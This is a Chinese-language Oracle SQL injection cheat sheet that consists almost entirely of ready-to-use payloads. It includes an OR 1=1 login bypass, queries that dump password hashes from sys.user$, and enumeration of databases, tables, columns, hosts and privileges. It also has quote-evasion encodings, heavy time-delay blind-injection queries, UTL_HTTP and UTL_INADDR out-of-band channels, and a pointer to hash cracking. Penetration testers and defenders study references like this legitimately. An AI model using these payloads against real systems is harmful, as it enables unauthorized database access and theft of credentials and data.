-- | SQL comment |
例子:
- SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
测试版本
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; |
SELECT banner FROM v$version WHERE banner LIKE 'TNS%'; |
SELECT version FROM v$instance; |
笔记:
-
- Oracle中的所有SELECT语句都必须包含一个表。
dual
是一个可用于测试的虚拟表。
数据库凭据
SELECT username FROM all_users; | Available on all versions |
SELECT name, password from sys.user$; | Privileged, <= 10g |
SELECT name, spare4 from sys.user$; | Privileged, <= 11g |
数据库名称
当前数据库
SELECT name FROM v$database; |
SELECT instance_name FROM v$instance |
SELECT global_name FROM global_name |
SELECT SYS.DATABASE_NAME FROM DUAL |
用户数据库
SELECT DISTINCT owner FROM all_tables; |
服务器主机名
SELECT host_name FROM v$instance; (Privileged) |
SELECT UTL_INADDR.get_host_name FROM dual; |
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; |
SELECT UTL_INADDR.get_host_address FROM dual; |
表和列
检索表
SELECT table_name FROM all_tables; |
检索列
SELECT column_name FROM all_tab_columns; |
从列名称中查找表
SELECT column_name FROM all_tab_columns WHERE table_name = 'Users'; |
从表名称中查找列
SELECT table_name FROM all_tab_tables WHERE column_name = 'password'; |
一次检索多个表
SELECT RTRIM(XMLAGG(XMLELEMENT(e, table_name || ',')).EXTRACT('//text()').EXTRACT('//text()') ,',') FROM all_tables; |
避免引用
与其他RDBMS不同,Oracle允许对表/列名进行编码。
SELECT 0x09120911091 FROM dual; | Hex Encoding. |
SELECT CHR(32)||CHR(92)||CHR(93) FROM dual; | CHR() Function. |
字符串连接
SELECT 'a'||'d'||'mi'||'n' FROM dual; |
条件陈述
SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM dual |
定时
时间延迟
SELECT UTL_INADDR.get_host_address('non-existant-domain.com') FROM dual; |
繁重的时间延迟
AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1)); |
特权
SELECT privilege FROM session_privs; |
SELECT grantee, granted_role FROM dba_role_privs; (Privileged) |
通道
DNS请求
SELECT UTL_HTTP.REQUEST('http://localhost') FROM dual; |
SELECT UTL_INADDR.get_host_address('localhost.com') FROM dual; |
密码破解
可以在此处找到JTR的Metasploit模块。